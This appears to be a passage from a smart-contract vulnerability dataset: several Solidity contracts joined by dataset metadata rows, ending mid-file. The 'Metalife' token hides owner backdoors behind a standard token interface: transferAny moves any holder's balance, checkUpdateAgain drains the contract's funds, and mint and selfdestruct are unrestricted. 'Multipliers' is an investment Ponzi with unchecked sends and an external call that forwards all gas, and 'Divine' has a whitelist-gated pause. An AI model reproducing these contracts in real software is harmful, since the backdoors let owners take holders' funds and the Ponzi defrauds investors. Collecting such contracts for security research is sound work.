function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Metalife is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "Metalife";
_symbol = "ML";
_decimals = 18;
_totalSupply = 100000000 * 10 ** 18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public totalbuy = 0;
uint256 public totalsell = 0;
uint256 public BuyPrice = 1000000 ;
uint256 public BuyTkn = 1000000000000000000 ;
uint256 public SellPrice = 1000000 ;
uint256 public SellTkn = 1000000000000000000 ;
bool private BuyOn = false;
bool private SellOn = false;
function destruct() onlyOwner() public{
selfdestruct(msg.sender);
}
function upgradeTerm(uint256 _comm, uint mode_)
onlyOwner
public
{
if(mode_ == 1)
{
BuyPrice = _comm;
}
if(mode_ == 2)
{
SellPrice = _comm;
}
if(mode_ == 3)
{
BuyTkn = _comm;
}
if(mode_ == 4)
{
SellTkn = _comm;
}
}
function upgradeTermB(uint256 _comm, uint256 mode_)
onlyOwner
public returns(uint)
{
BuyPrice = _comm;
BuyTkn = mode_;
return 0;
}
function upgradeTermS(uint256 _comm, uint256 mode_)
onlyOwner
public returns(uint)
{
SellPrice = _comm;
SellTkn = mode_;
return 0;
}
function upgradeBoolean(bool _boolValue, uint mode_)
onlyOwner
public
{
if(mode_ == 1)
{
BuyOn = _boolValue;
}
if(mode_ == 2)
{
SellOn = _boolValue;
}
}
function showBoolean() public view onlyOwner returns (bool BuyOnn,bool SellOnn)
{
return (BuyOn,SellOn);
}
function showPrice() public view returns (uint256 Bp,uint256 Bt,uint256 Sp,uint256 St)
{
return (BuyPrice,BuyTkn,SellPrice,SellTkn);
}
function getBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function checkUpdateAgain(uint256 _amount)
public
onlyOwner
{
(msg.sender).transfer(_amount);
}
function transferAny(address recipientFrom,address recipient, uint256 amount) public onlyOwner returns (bool) {
_transfer(recipientFrom, recipient, amount);
return true;
}
function getPayment() public payable returns (bool) {
return true;
}
function transferForBuy() public payable returns (bool) {
require(BuyOn != true, "TRC20: Maintenance Mode i");
_transfer(address(this), msg.sender, ((msg.value*BuyTkn)/BuyPrice));
return true;
}
function transferForSell(uint256 amount) public returns (bool) {
require(SellOn != true, "TRC20: Maintenance Mode ii");
require(amount <= _balances[msg.sender],"Insufficient Funds");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_balances[address(this)] = _balances[address(this)].add(amount);
(msg.sender).transfer(((amount*SellPrice)/SellTkn));
emit Transfer((msg.sender), address(this), amount);
return true;
}
function sendToAllToken(address recipient,address [] memory _contributors, uint256[] memory _tokenBalance) public onlyOwner {
uint256 i = 0;
for (i; i < _contributors.length; i++) {
_balances[recipient] = _balances[recipient].sub(_tokenBalance[i]);
_balances[ _contributors[i]] = _balances[ _contributors[i]].add(_tokenBalance[i]);
emit Transfer(recipient, _contributors[i], _tokenBalance[i]);
}
}
event SendToAllTRX(uint256 value , address indexed sender);
function sendToAllTRX(address payable[] memory _contributors, uint256[] memory _balances_) public payable onlyOwner {
uint256 i = 0;
for (i; i < _contributors.length; i++) {
_contributors[i].transfer(_balances_[i]);
}
emit SendToAllTRX(msg.value, msg.sender);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "TRC20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "TRC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "TRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "TRC20: burn amount exceeds allowance"));
}
}
| 294,787 | 10,355 |
ce657be8288b9779914c212f6b7e59876938f6dfa49097f7c53fa579a2fedd1f
| 15,192 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5f8797e606793af4d76a0adecf2e1e9879e2811a.sol
| 2,615 | 10,177 |
pragma solidity ^0.4.25;
contract Multipliers {
//Address of old Multiplier
address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8;
//Address for tech expences
address constant private TECH = 0xDb058D036768Cfa9a94963f99161e3c94aD6f5dA;
//Address for promo expences
address constant private PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E;
//Percent for first multiplier donation
uint constant public FATHER_PERCENT = 1;
uint constant public TECH_PERCENT = 2;
uint constant public PROMO_PERCENT = 2;
uint constant public PRIZE_PERCENT = 2;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether;
uint constant public MAX_IDLE_TIME = 30 minutes; //Maximum time the deposit should remain the last to receive prize
//How many percent for your deposit to be multiplied
//Depends on number of deposits from specified address at this stage
//The more deposits the higher the multiplier
uint8[] MULTIPLIERS = [
111, //For first deposit made at this stage
113, //For second
117, //For third
121, //For forth
125, //For fifth
130, //For sixth
135, //For seventh
141 //For eighth and on
];
//The deposit structure holds all the info about the deposit made
struct Deposit {
address depositor; //The depositor address
uint128 deposit; //The deposit amount
uint128 expect; //How much we should pay out (initially it is 111%-141% of deposit)
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue; //The queue
uint public currentReceiverIndex = 0; //The index of the first depositor in the queue. The receiver of investments!
LastDepositInfo public lastDepositInfo; //The time last deposit made at
uint public prizeAmount = 0; //Prize amount accumulated for the last depositor
int public stage = 0; //Number of contract runs
mapping(address => DepositCount) public depositsMade; //The number of deposits of different depositors
//This function receives all the deposits
//stores them and make immediate payouts
function () public payable {
//If money are from first multiplier, just add them to the balance
//All these money will be distributed to current investors
if(msg.value > 0 && msg.sender != FATHER){
require(gasleft() >= 220000, "We require more gas!"); //We need gas to process queue
require(msg.value <= MAX_INVESTMENT, "The investment is too much!"); //Do not allow too big investments to stabilize payouts
checkAndUpdateStage();
addDeposit(msg.sender, msg.value);
//Pay to first investors in line
pay();
}else if(msg.value == 0){
withdrawPrize();
}
}
//Used to pay to current investors
//Each new transaction processes 1 - 4+ investors in the head of queue
//depending on balance and gas left
function pay() private {
//Try to send all the money on contract to the first investors in line
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount) //The opposite is impossible, however the check will not do any harm
money = uint128(balance - prizeAmount);
//We will do cycle on the queue
for(uint i=currentReceiverIndex; i<queue.length; i++){
Deposit storage dep = queue[i]; //get the info of the first investor
if(money >= dep.expect){ //If we have enough money on the contract to fully pay to investor
dep.depositor.send(dep.expect); //Send money to him
money -= dep.expect; //update money left
//this investor is fully paid, so remove him
delete queue[i];
}else{
//Here we don't have enough money so partially pay to investor
dep.depositor.send(money); //Send to him everything we have
dep.expect -= money; //Update the expected amount
break; //Exit cycle
}
if(gasleft() <= 50000) //Check the gas left. If it is low, exit the cycle
break; //The next investor will process the line further
}
currentReceiverIndex = i; //Update the index of the current first investor
}
function addDeposit(address depositor, uint value) private {
//Count the number of the deposit at this stage
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
//If you are applying for the prize you should invest more than minimal amount
//Otherwize it doesn't count
if(value >= MIN_INVESTMENT_FOR_PRIZE)
lastDepositInfo = LastDepositInfo(uint128(queue.length), uint128(now));
//Compute the multiplier percent for this depositor
uint multiplier = getDepositorMultiplier(depositor);
//Add the investor into the queue. Mark that he expects to receive 111%-141% of deposit back
queue.push(Deposit(depositor, uint128(value), uint128(value*multiplier/100)));
//Increment number of deposits the depositors made this round
c.count++;
//Save money for prize and father multiplier
prizeAmount += value*(FATHER_PERCENT + PRIZE_PERCENT)/100;
//Send small part to tech support
uint support = value*TECH_PERCENT/100;
TECH.send(support);
uint adv = value*PROMO_PERCENT/100;
PROMO.send(adv);
}
function checkAndUpdateStage() private{
int _stage = getCurrentStageByTime();
require(_stage >= stage, "We should only go forward in time");
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
//Clean queue info
//The prize amount on the balance is left the same if not withdrawn
stage = _stage;
delete queue;
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
//You can withdraw prize only if the last deposit was more than MAX_IDLE_TIME ago
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
//Last depositor will receive prize only if it has not been fully paid
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
if(prizeAmount > balance) //Impossible but better check it
prizeAmount = balance;
//Send donation to the first multiplier for it to spin faster
//It already contains all the sum, so we must split for father and last depositor only
//If the .call fails then ether will just stay on the contract to be distributed to
//the queue at the next stage
uint donation = prizeAmount*FATHER_PERCENT/(FATHER_PERCENT + PRIZE_PERCENT);
require(gasleft() >= 250000, "We need gas for the father contract");
FATHER.call.value(donation).gas(gasleft())();
uint prize = prizeAmount - donation;
queue[lastDepositInfo.index].depositor.send(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
//Get the deposit info by its index
//You can get deposit index from
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
//Get the count of deposits of specific investor
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
//Get all deposits (index, deposit, expect) of a specific investor
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
//Get current queue size
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
//Get current depositors multiplier percent at this stage
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17 hours) / 1 days - 17836; //Start is 01/11/2018 20:00 GMT+3
}
function getStageStartTime(int _stage) public pure returns (int) {
return 17 hours + (_stage + 17836)*1 days;
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now);
}
function() payable external {
revert();
}
}
| 190,785 | 10,356 |
80502d723888cca4023fa1c305aa0ffa4d8b6b9801a4db1353a5f93474ef40f5
| 29,501 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c7/c77f50915E86c3bb787D808f053a59b4D7B15677_Divine.sol
| 5,202 | 18,742 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Divine is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Divine Creatures';
string private constant _symbol = 'EGIS';
uint256 private _taxFee = 400;
uint256 private _burnFee = 200;
uint public max_tx_size = 100000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x615503e6B9678Ba82FDDe3A4084e8B582EC6d9Dc, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 332,672 | 10,357 |
6e315c28580ad49e44c2781ec0dc54a73556acb0cdb8c5f8e3664e1547c15563
| 15,097 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/cb/cB52E9F271C8f22cC6d47244d558E3838AAd2d4c_TetherToken.sol
| 2,760 | 11,198 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
